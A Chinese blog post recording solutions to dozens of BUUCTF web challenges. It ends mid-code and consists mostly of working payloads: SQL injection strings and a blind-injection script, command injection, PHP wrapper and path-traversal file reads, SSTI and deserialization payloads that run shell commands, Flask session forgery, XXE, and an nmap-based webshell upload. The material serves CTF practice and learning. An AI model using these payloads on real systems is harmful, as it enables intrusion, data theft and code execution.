BUUCTF刷题记录(持续更新中~)

之前陆陆续续做过一些题,但都没有记录,这次打算巩固一下,记录下来。

文章目录

      • [HCTF 2018]WarmUp
      • [极客大挑战 2019]EasySQL
      • [强网杯 2019]随便注
      • [极客大挑战 2019]Havefun
      • [SUCTF 2019]EasySQL
      • [ACTF2020 新生赛]Include
      • [极客大挑战 2019]Secret File
      • [极客大挑战 2019]LoveSQL
      • [GXYCTF2019]Ping Ping Ping
      • [ACTF2020 新生赛]Exec
      • [极客大挑战 2019]Knife
      • [护网杯 2018]easy_tornado
      • [RoarCTF 2019]Easy Calc
      • [极客大挑战 2019]Http
      • [极客大挑战 2019]PHP
      • [极客大挑战 2019]Upload
      • [极客大挑战 2019]BabySQL
      • [ACTF2020 新生赛]Upload
      • [ACTF2020 新生赛]BackupFile
      • [HCTF 2018]admin
      • [极客大挑战 2019]BuyFlag
      • [BJDCTF2020]Easy MD5
      • [SUCTF 2019]CheckIn
      • [ZJCTF 2019]NiZhuanSiWei
      • [CISCN2019 华北赛区 Day2 Web1]Hack World
      • [极客大挑战 2019]HardSQL
      • [网鼎杯 2018]Fakebook
      • [GXYCTF2019]BabySQli
      • [网鼎杯 2020 青龙组]AreUSerialz
      • [MRCTF2020]你传你呢
      • [GYCTF2020]Blacklist
      • [MRCTF2020]Ez_bypass
      • [强网杯 2019]高明的黑客(不会)
      • [BUUCTF 2018]Online Tool
      • [RoarCTF 2019]Easy Java(不会)
      • [GXYCTF2019]BabyUpload
      • [GXYCTF2019]禁止套娃
      • [GWCTF 2019]我有一个数据库
      • [BJDCTF2020]The mystery of ip
      • [BJDCTF2020]Mark loves cat
      • [BJDCTF2020]ZJCTF,不过如此
      • [安洵杯 2019]easy_web
      • [网鼎杯 2020 朱雀组]phpweb
      • [De1CTF 2019]SSRF Me(不会)
      • [NCTF2019]Fake XML cookbook
      • [ASIS 2019]Unicorn shop
      • [BJDCTF2020]Cookie is so stable
      • [CISCN 2019 初赛]Love Math
      • [BSidesCF 2020]Had a bad day
      • [SUCTF 2019]Pythonginx
      • [安洵杯 2019]easy_serialize_php
      • [0CTF 2016]piapiapia
      • [WesternCTF2018]shrine
      • [SWPU2019]Web1
      • [WUSTCTF2020]朴实无华
      • [网鼎杯 2020 朱雀组]Nmap
      • [MRCTF2020]PYWebsite
      • [极客大挑战 2019]FinalSQL
      • [NPUCTF2020]ReadlezPHP
      • [BJDCTF2020]EasySearch
      • [MRCTF2020]Ezpop
      • [NCTF2019]True XML cookbook
      • [GYCTF2020]FlaskApp
      • [CISCN2019 华北赛区 Day1 Web2]ikun(不会)
      • [CISCN2019 华东南赛区]Web11
      • [CISCN2019 华北赛区 Day1 Web1]Dropbox
      • [BSidesCF 2019]Futurella
      • [GWCTF 2019]枯燥的抽奖(打不开)
      • [MRCTF2020]套娃
      • [极客大挑战 2019]RCE ME
      • [WUSTCTF2020]颜值成绩查询
      • [BSidesCF 2019]Kookie

[HCTF 2018]WarmUp

"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "
"; } ?>

最终目标是要利用include包含ffffllllaaaagggg,想执行include就需要

(! empty($_REQUEST['file'])&& is_string($_REQUEST['file'])&& emmm::checkFile($_REQUEST['file']))

这三项都为true
! empty($_REQUEST['file'])只要输入了就为true
is_string($_REQUEST['file'])需要输入的是字符串才为true
emmm::checkFile($_REQUEST['file'])是重点,它调用了emm类中的checkFile方法,输入的参数需要满足白名单也就是source.php或者hint.php,并且得包含?,所以payload为

source.php?file=hint.php?/../../../../../../ffffllllaaaagggg

[极客大挑战 2019]EasySQL

随便试了一下,秒了
username=admin' or 1=1--+&password='


[强网杯 2019]随便注

很经典的一题,堆叠注入,后面还有它的变种:[GYCTF2020]Blacklist

(查库)
1';show databases;#
(查表)
1';show tables;#
(查列)
1';show columns from `words`;
1';show columns from `1919810931114514`;

解法1
发现1919810931114514表中有flag,而words表中则是id和data,也就是说它原本是读取words表中的内容,我们只需要把words换成1919810931114514,将id列换成flag列就能读取flag了,

1';rename table `words` to `word1`;rename table `1919810931114514` to `words`;alter table `words` change flag id varchar(100);#

然后再1'or 1=1#就有flag了

解法2
预处理

比如
set @xl='1919810931114514';		存储表名
set @sql=concat('select * from',@xl);	存储sql语句
char(115,101,108,101,99,116)		select
prepare xiaolong from @sql;		预定义sql语句
execute xiaolong;			执行预定义sql语句

测试发现还有strstr函数,大小写绕过即可

1';SET @sql=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE xiaolong from @sql;execute xiaolong;

解法3
用handler代替select

1';handler `1919810931114514`open; handler `1919810931114514` read first;

这也是后面一变种题的解法


[极客大挑战 2019]Havefun

傻逼题

?cat=dog

[SUCTF 2019]EasySQL

搜wp时发现
BUUCTF刷题记录(持续更新中~)_第1张图片

在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接,但在mysql 缺省不支持。需要调整mysql 的sql_mode
模式:pipes_as_concat 来实现oracle 的一些功能

1;set sql_mode=PIPES_AS_CONCAT;select 1

非预期

*,1

BUUCTF刷题记录(持续更新中~)_第2张图片


[ACTF2020 新生赛]Include

php伪协议读文件

?file=php://filter/read=convert.base64-encode/resource=flag.php

[极客大挑战 2019]Secret File

抓包发现secr3t.php
php伪协议

?file=php://filter/read=convert.base64-encode/resource=flag.php

[极客大挑战 2019]LoveSQL

username=admin'or '1'='1&password=1

登陆后得到密码916ac54a426380d931b6d858656a9090,但没有flag
尝试报错注入

username=admin
password=916ac54a426380d931b6d858656a9090'and updatexml(1,concat(0x7e,(select database()),0x7e),1)#
916ac54a426380d931b6d858656a9090'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='geek'),0x7e),1)#
916ac54a426380d931b6d858656a9090'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'),0x7e),1)#
916ac54a426380d931b6d858656a9090'and updatexml(1,concat(0x7e,(select group_concat(password) from l0ve1ysq1),0x7e),1)#

但updatexml()查询的字符串长度最大为32,所以还要用substr函数来截取
不过其实没这么麻烦,直接联合查询就行

'union select 1,2,group_concat(password) from l0ve1ysq1#

[GXYCTF2019]Ping Ping Ping

解法1:字符串拼接

?ip=127.0.0.1;s=g;cat$IFS$9fla$s.php

解法2:base64编码

?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh
cat flag.php的base64编码为Y2F0IGZsYWcucGhw
echo$IFS$9Y2F0IGZsYWcucGhw的结果为Y2F0IGZsYWcucGhw
echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d的结果为cat flag.php
再加上|sh就是执行前面的cat flag.php

解法3:内联执行

?ip=127.0.0.1;cat$IFS$9`ls`

[ACTF2020 新生赛]Exec

127.0.0.1&cat /flag

[极客大挑战 2019]Knife

菜刀或蚁剑连接


[护网杯 2018]easy_tornado

hint.txt
md5(cookie_secret+md5(filename))

如果直接改文件名去访问flag就会跳转到这个页面

error?msg=error

结合题目,应该是要模板注入找到cookie_secret
handler.settings可以找到cookie_secret,这没用过还真不知道
在这里插入图片描述

file?filename=/fllllllllllllag&filehash=665a7d61f98ceaa33fc5a07c266c4fc7

[RoarCTF 2019]Easy Calc


php特性
变量名中有空白符->删除空白符
变量名中有特殊字符->转化为下划线
所以传空格num即可绕过黑名单
然后用scandir列出文件

?%20num=print_r(scandir(chr(47)));	#chr(47)代表/

file_get_contents读取f1agg

file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103));

[极客大挑战 2019]Http

源码中有Secret.php,我眼拙没看见,跟个傻逼一样扫了半天
依次修改3个http头

Referer
X-Forwarded-For
User-Agent

[极客大挑战 2019]PHP

www.zip得到源码
最简单的反序列化
属性个数的值大于实际属性个数,跳过 __wakeup()函数的执行


payload:

index.php?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

注意是private声明,所以多了%00


[极客大挑战 2019]Upload

上传.phtml文件
BUUCTF刷题记录(持续更新中~)_第3张图片

Content-Type: image/png
Content-Type: image/jpg
Content-Type: image/gif
这3种都可以

记得文件内容加上GIF98A


[极客大挑战 2019]BabySQL

双写绕过

'uniunionon selselectect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata#
'uniunionon selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables wherwheree table_schema='ctf'#
'uniunionon selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns wherwheree table_name='Flag'#
'uniunionon selselectect 1,2,group_concat(flag) frfromom ctf.Flag#

[ACTF2020 新生赛]Upload

上传,phtml文件


[ACTF2020 新生赛]BackupFile

备份文件泄露
访问index.php.bak

因为是弱等于,所以在进行数字与字符串的判断时会先将字符串转成数字

index.php/?key=123

[HCTF 2018]admin

考验一点代码审计
解法1:弱口令

username:admin
password:123

可能是出题人想让我们知道弱口令的重要性吧,不然可就太弱智了~

解法2:unicode欺骗
在改密码界面查看源代码可看到题目的源码地址,下载下来进行审计
BUUCTF刷题记录(持续更新中~)_第4张图片
在注册这里有个strlower函数

strlower():它将字符串中的所有大写字母转换为小写字母,并返回一个新字符串

但碰到unicode编码例如ᴬᴰᴹᴵᴺ则会转化为ADMIN
接着看,在登陆处和改变密码处同样用到了strlower
BUUCTF刷题记录(持续更新中~)_第5张图片

BUUCTF刷题记录(持续更新中~)_第6张图片
所以思路如下:首先注册时username填ᴬᴰᴹᴵᴺ,这时会调用strlower,于是就注册了一个username为ADMIN的用户,之后再用ᴬᴰᴹᴵᴺ进行登陆,又调用strlower,就能以ADMIN登陆,然后再改密码再一次调用strlower,把ADMIN变成了admin,这就达到了改admin密码的效果

ᴬᴰᴹᴵᴺ——>ADMIN——>admin

unicode

解法3:flask session伪造

代码审计仔细点可以发现
BUUCTF刷题记录(持续更新中~)_第7张图片
只需伪造flask-session就可以了,而想要破解session还需要SECRET_KEY
结果发现可以找到
BUUCTF刷题记录(持续更新中~)_第8张图片
好的,可以搬出脚本伪造session了

解密

python flask_session_cookie_manager3.py decode -c ".eJxF0EFrgz
AYxvGvMnLuYab1IvTQEhtSeF9xxJbkUjZnp29MB2pRU_rdJ73s-Fx-8Pwf7HLtqr5mydDdqxW7NN8sebC3L5YwK9QI1NbZuZiNP7XADy1SPpqwC4aOPjubAFptUMOEsogMuQi99YYUNwFbS260Mo3A2xoFTCAgAO0b5JZA5xx4ERutIuCKg_9whsrFXrYoYktHsmJPIOoGw6mG4GYUB5dJNVmfv4MsZpQqQp2uDaVb9lyxsu-ul-HXVbf_CzINmWidpTJkEtYYfrjRJlifxobqhXcjEjagXQweZivydbbbvrjbp68WYqj6ga3Yva-6VxwWbdjzDwKAZio.YGdC4w.UuujSbZ57GYUFlR44TrsYon-QIs" -s "ckj123"
{'_fresh': True, '_id': b'd2029a9e2bee3ae640c03b2f9f31285314e5b956ffb26c3ef90da52fa43103320b7fc1463e9a253b62ddb70c25059f2cd0c08b75a39241d8b1fd40e24b5517b1', 'csrf_token': b'da389df738c7786a63fa9b8c09063b1992c2d478', 'name': 'test', 'user_id': '14'}

name替换成admin后加密

python flask_session_cookie_manager3.py encode -t "{'_fresh':
True, '_id': b'd2029a9e2bee3ae640c03b2f9f31285314e5b956ffb26c3ef90da52fa43103320b7fc1463e9a253b62ddb70c25059f2cd0c08b75a39241d8b1fd40e24b5517b1', 'csrf_token': b'da389df738c7786a63fa9b8c09063b1992c2d478', 'name': 'admin', 'user_id': '14'}" -s "ckj123"
.eJxF0MGKwjAUheFXGbJ2MY12I7hQUkOEe0uHVLnZiKN12pvGgarURnz3KW5meTYfnP8p9ueuutZifuvu1UTsm5OYP8XHt5gLp0wP3Nb5rhwobFuQ6xa56CkuI_Em5DuKYM0MLTxQlwmxTzC4QGwkRWwd-97pLIHgalTwAAUReNWgdAy2kCDLlKxJQBoJ4csTH0d73KpMHW_YqRWDqhuM2xqiH1Ctfa7Nw4XiE3Q5oDYJ2mxKnC3EayKO1-68v_366vJ_QWcxV613fIy5hinGH0mWogtZSlyPvO-RsQHrUwgwOFVM8-XizV0OoRqJwyk0FzER92vVveuIZCZef2iJZnM.YGdGhg.ZnzMLxyduFAyIf_LJLSFpIWGNmQ

BUUCTF刷题记录(持续更新中~)_第9张图片

BUUCTF刷题记录(持续更新中~)_第10张图片
脚本地址
https://github.com/noraj/flask-session-cookie-manager


[极客大挑战 2019]BuyFlag


cookie中user改为1
password=404a
money用数组绕过或科学计数法


[BJDCTF2020]Easy MD5

抓包发现hint
BUUCTF刷题记录(持续更新中~)_第11张图片

ffifdyop绕过MD5

然后进入levels91.php


数组绕过
进入levell14.php

 

依旧数组绕过


[SUCTF 2019]CheckIn

上传图片马,文件头加上GIF89A来绕过
上传.user.ini,内容为

auto_prepend_file=2.jpg

相当于文件头加上 include(“2.jpg”)
同样加上GIF89A绕过

访问

/uploads/d99081fe929b750e0557f85e6499103f/index.php

BUUCTF刷题记录(持续更新中~)_第12张图片


[ZJCTF 2019]NiZhuanSiWei

".file_get_contents($text,'r')."


"; if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); }else{ include($file); //useless.php $password = unserialize($password); echo $password; } } else{ highlight_file(__FILE__); } ?>

text用data协议php://input写入welcome to the zjctf
file用php伪协议读取useless.php

BUUCTF刷题记录(持续更新中~)_第13张图片

//useless.php
file)){  
            echo file_get_contents($this->file); 
            echo "
"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>

反序列化读取flag.php

file)){
            echo file_get_contents($this->file);
            echo "
"; return ("U R SO CLOSE !///COME ON PLZ"); } } } $p=new Flag(); echo serialize($p); ?>

最后的payload记得把file的值改成useless.php

BUUCTF刷题记录(持续更新中~)_第14张图片


[CISCN2019 华北赛区 Day2 Web1]Hack World

初步测试了一下,过滤了好多,空格、or、and、#、;select等等
尝试了一下后发现可以盲注
BUUCTF刷题记录(持续更新中~)_第15张图片

写个脚本跑一下(不会对分,跑的巨慢。。。)

import requests
import time
url='http://15abf97a-073f-4075-9700-3267a740f3e0.node3.buuoj.cn/index.php'
flag=""
payload={
    "id" : ""
}
for i in range(0,60):
    for j in range(1,127):
        payload["id"]="1^if(ascii(substr((select(flag)from(flag)),%d,1))=%d,0,1)"%(i,j)
        r = requests.post(url,data=payload)
        time.sleep(0.01)
        if 'Hello' in r.text:
            flag = flag+chr(j)
            print(flag)
            break
print(flag)

[极客大挑战 2019]HardSQL

报错注入,且过滤了空格,=

'or(updatexml(1,concat(0x7e,(select(database())),0x7e),1))#
'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek'))),0x7e),1))#
'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1'))),0x7e),1))#
'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))#

括号太多了,人都绕傻了


[网鼎杯 2018]Fakebook

解法1:
联合注入或报错注入+ssrf+反序列化
这waf挺怪的,只需把union和select之间的空格改成/**/就能绕过

no=0 union/**/select 1,database(),3,4
no=0 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema ='fakebook'
no=0 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name ='users'
no=0 union/**/select 1,group_concat(data),3,4 from users

data中数据如下
O:8:"UserInfo":3:{s:4:"name";s:8:"xiaolong";s:3:"age";i:1;s:4:"blog";s:25:"https://xiaolong22333.top";}
然后查看robots.txt,发现源码
结合data数据及题目,应该是反序列化+ssrf

O:8:"UserInfo":3:{s:4:"name";s:8:"xiaolong";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

payload:

?no=0%20union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:8:"xiaolong";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

这里说一下为什么在blog处存在ssrf,网上的文章好像都没说,泄露的user.php也没解释
在注册时blog写真实的网站,这里我写了我的blog地址

BUUCTF刷题记录(持续更新中~)_第16张图片系统真的去访问了填的的这个blog,也就是说这里可能是这样的

url=https://xiaolong22333.top

这是典型的ssrf
在user.php中如下代码就是调用blog的url去访问
BUUCTF刷题记录(持续更新中~)_第17张图片

解法2:
通过load_file()函数+报错注入直接读取flag.php

1 and(updatexml(1,concat(1,(select(LOAD_FILE('/var/www/html/flag.php')))),1))
1 and(updatexml(1,concat(1,right((select(LOAD_FILE('/var/www/html/flag.php'))),32)),1))

[GXYCTF2019]BabySQli

随便输一下,发现源码中有提示,先base32在base64解码得

select * from user where username = '$name'

mysql在查询没有的数据时会构建一个虚拟的表
BUUCTF刷题记录(持续更新中~)_第18张图片
也就是说我们查询一个user为admin,pw为123的用户时就创建了这个用户
这题有一个坑点,就是密码是经过MD5加密的,这。。。反正我是想不到

1'union select 1,'admin','202cb962ac59075b964b07152d234b70'#

123MD5后为202cb962ac59075b964b07152d234b70


[网鼎杯 2020 青龙组]AreUSerialz

打开一看,有点吓人,但其实很简单
利用点在这段代码

private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

可以用php伪协议读取flag.php


?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

[MRCTF2020]你传你呢

先传.htaccess文件,再传图片马,最后蚁剑连接
但我做的时候一直出问题,图片不解析成php,明明是同样的步骤,同样的代码,但就是不同的结果,很难受。
这里我放个网上的wp
[MRCTF2020]你传你呢


[GYCTF2020]Blacklist

[强网杯 2019]随便注的变种,在此基础上还过滤了set|prepare|alter|rename|

1';show tables;找到表名FlagHere
用handler进行查询

1';handler FlagHere open; handler FlagHere read first;

[MRCTF2020]Ez_bypass

没什么好说的

?id[]=1&gg[]=2
post
passwd=1234567a

[强网杯 2019]高明的黑客(不会)

完全就是考察代码编写能力,不会,告辞


[BUUCTF 2018]Online Tool

PHP escapeshellarg()+escapeshellcmd() 之殇
BUUCTF刷题记录(持续更新中~)_第19张图片

escapeshellarg:将参数中的字符串两侧加上',并将其中的'进行转义 然后在两侧加上'达到拼接的目的
escapeshellcmd:将参数中的字符串中间的特殊字符转义,并且将落单的'进行转义
nmap命令中 有一个参数-oG可以实现将命令和结果写到文件

我们需要的语句是这样的

 -oG shell.php

但经过escapeshellarg后变成了

' -oG shell.php'

这样就变成了字符串,无法执行命令了
而如果我们输入的是这样的呢

' -oG shell.php'

进过escapeshellarg后变成

''\'' -oG shell.php'\'''

然后再经过escapeshellcmd后

''\\'' -oG shell.php'\\'''

拼接上去后相当于

nmap -T5 -sT -Pn --host-timeout 2 -F \ -oG shell.php\\

但这样文件就会变成shell.php\\,且前面还会被转义
所以需要加个空格,前后各一个
payload

?host='  -oG shell.php '

BUUCTF刷题记录(持续更新中~)_第20张图片回显了文件夹名字,加上木马的文件名后连接蚁剑即可


[RoarCTF 2019]Easy Java(不会)

知识盲区,虽然操作简单,但完全不明白,正在学java,等学了一段时间再回来看看
先放上大佬的wp
RoarCTF2019web题-easy_java writeup


[GXYCTF2019]BabyUpload

.hatccess文件和图片马,和MRCTF那题一样


[GXYCTF2019]禁止套娃

.git泄露,直接GitHack读取源码

";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

需要传入无参数的命令,无参数文件读取

?exp=print_r(scandir(current(localeconv())));

在这里插入图片描述

然后array_reverse逆转数组,next()函数进行下一个值的读取

?exp=print_r(next(array_reverse(scandir(current(localeconv())))));

BUUCTF刷题记录(持续更新中~)_第21张图片

读取flag.php

?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

[GWCTF 2019]我有一个数据库

robots.txt中有phpinfo.php,不过好像没啥用
dirsearch能扫出phpadmin(我扫不出来。。。很难受)

访问发现版本为4.8.1,搜索发现有任意文件包含漏洞,试试payload

/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../etc/passwd

BUUCTF刷题记录(持续更新中~)_第22张图片尝试读取flag

/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../flag

[BJDCTF2020]The mystery of ip

结合hint.phpDo you know why i know your ip?和题目,猜测是X-Forwarded-For有问题
添加后测试发现存在模板注入

X-Forwarded-For: {
    {system('cat /flag')}}

[BJDCTF2020]Mark loves cat

猜测是.git源码泄露,拿出GitHack,结果下了些没用的文件,还以为做错了,看wp发现就是这么做,但我就是没有下载到flag.php和index.php,emmm,一定是buu的锅。

 $y){
    $$x = $y;
}

foreach($_GET as $x => $y){
    $$x = $$y;
}

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){	
        exit($handsome);
    }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){	
    exit($yds);
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){	
    exit($is);
}

echo "the flag is: ".$flag;

直接说payload

get传参 yds=flag;
或者
get传参 is=flag&flag=flag

先说第一种,经过第一个foreach后

foreach($_GET as $x => $y){
    $$x = $$y;
}

变成了$yds=$flag,满足第二个if语句(参数中没有flag),输出$yds,也就是$flag

第二种,还是经过这个foreach,变成了$ls=$flag,然后进入第三个foreach,变成了$flag=$flag,此时满足第三个if,输出$is,也就是$flag
这两种做法都没有用到post,当然有的wp中是get+post,有点绕,我实在是搞不明白,研究了一个多小时快搞吐了,太傻逼了。


[BJDCTF2020]ZJCTF,不过如此

首先跟zjctf那题一样,data写入或input写入,伪协议读文件

?text=data://text/plain,I have a dream&file=php://filter/read=convert.base64-encode/resource=next.php
 $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

preg_replace的/e模式可以执行代码,也就是我们要传入的是:参数名为正则表达式,参数值为要匹配的字符串。
知识点放上,wp放上,payload放上
深入研究preg_replace与代码执行
wp
payload:

/next.php?\S*=${getFlag()}&cmd=system('cat /flag');	#\S 在php正则表达式中示意匹配所有非空字符,*示意多次匹配

ps:最新版的php移除了preg_replace的/e模式


[安洵杯 2019]easy_web

url的参数值看着像base64,尝试去解密,然后就遇到了一个很坑的地方,我一直解密的那个网站这串base64没解出来,当时就想当然以为可能不是base64,结果就完全不知道要怎么做了。看了wp知道这tm就是base64,我换个解密网站就出来了。所以说
解不出来换个网站,多试几次!!!
解不出来换个网站,多试几次!!!
解不出来换个网站,多试几次!!!
回到题目,经过两次base64后16进制转字符串,得到555.png,那换成flag.php看看,反过来转16进制再base64加密两次
BUUCTF刷题记录(持续更新中~)_第23张图片
看来不行,那换成index.php,可以base64解密后读到源码

';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "";
    echo "
"; } echo $cmd; echo "
"; if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) { echo("forbid ~"); echo "
"; } else { if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) { echo `$cmd`; } else { echo ("md5 is funny ~"); } } ?>

MD5强类型比较,找MD5一样的就行

a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

cmd用\绕过

cmd=ca\t /flag

[网鼎杯 2020 朱雀组]phpweb

打开题目发现输出了当前时间,抓包看看
BUUCTF刷题记录(持续更新中~)_第24张图片

发现两个参数,应该是调用了call_user_func,那尝试读一下源码

func=file_get_contents&p=index.php
func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

可以反序列化执行命令

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}

居然没有flag文件,那搜一下flag在哪

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:17:"find / -name fla*";s:4:"func";s:6:"system";}

BUUCTF刷题记录(持续更新中~)_第25张图片
好家伙,藏在这里,读flag

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}

[De1CTF 2019]SSRF Me(不会)

python的flask,看不懂,不会


[NCTF2019]Fake XML cookbook

最简单的xxe
抓包,增加外部实体


 ]>
&goodies;123456

BUUCTF刷题记录(持续更新中~)_第26张图片


[ASIS 2019]Unicorn shop

unicode编码安全
买4号马就能得到flag,但只能输入一个字符,找个大于1337的unicode字符就行,比如(代表100000)
实际上中文的万,亿,兆也都可以


[BJDCTF2020]Cookie is so stable

输入7*7,发现回显为49,应该是Twig的模板注入(Jinja的话为7777777),登陆后抓包,发现user在cookie处,根据提示,注入点为cookie处
根据这篇文章的payload拿flag

{
    {_self.env.registerUndefinedFilterCallback("exec")}}{
    {_self.env.getFilter("cat /flag")}}

BUUCTF刷题记录(持续更新中~)_第27张图片


[CISCN 2019 初赛]Love Math

= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

我们想要的结果

c=system('cat /flag')

但要绕过函数名的限制
利用php中字符串加上括号可被当作函数执行的特性

c=$_GET[a]($_GET[b])&a=system&b=cat /flag

所以现在得想办法构造_GET,下面要用到这些函数
base_convert进制转换
dechex10进制转16进制
hex2bin16进制转字符串
但我们没有hex2bin函数,需要构造

base_convert(37907361743,10,36)=>hex2bin	//把10进制的37907361743转为36进制,即为hex2bin
dechex(1598506324)=>"5f474554"
hex2bin("5f474554")=>_GET

即这么一串等于_GET

base_convert(37907361743,10,36)(dechex(1598506324))

然后将这串保存到一个白名单变量中以防太长,同时用{}代替[]

c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{pi}($$pi{abs})

分号后面那串就等于$_GET{pi}($_GET{abs})
最终payload:

c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{pi}($$pi{abs})&pi=system&abs=cat /flag

yu师傅的wp


[BSidesCF 2020]Had a bad day

尝试php伪协议读文件,发现去掉php后缀可以成功

?category=php://filter/read=convert.base64-encode/resource=index

发现只有参数中带有woofers,meowers,index就可以包含
这里有个知识点,php伪协议可以套一层协议,比如convert.base64-encode/index/resource
所以可以这样

?category=php://filter/read=convert.base64-encode/index/resource=flag

或者还可以

?category=php://filter/read=convert.base64-encode/index/resource=index/../flag

[SUCTF 2019]Pythonginx

        @app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
    url = request.args.get("url")
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return "我扌 your problem? 111"
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return "我扌 your problem? 222 " + host
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    #去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
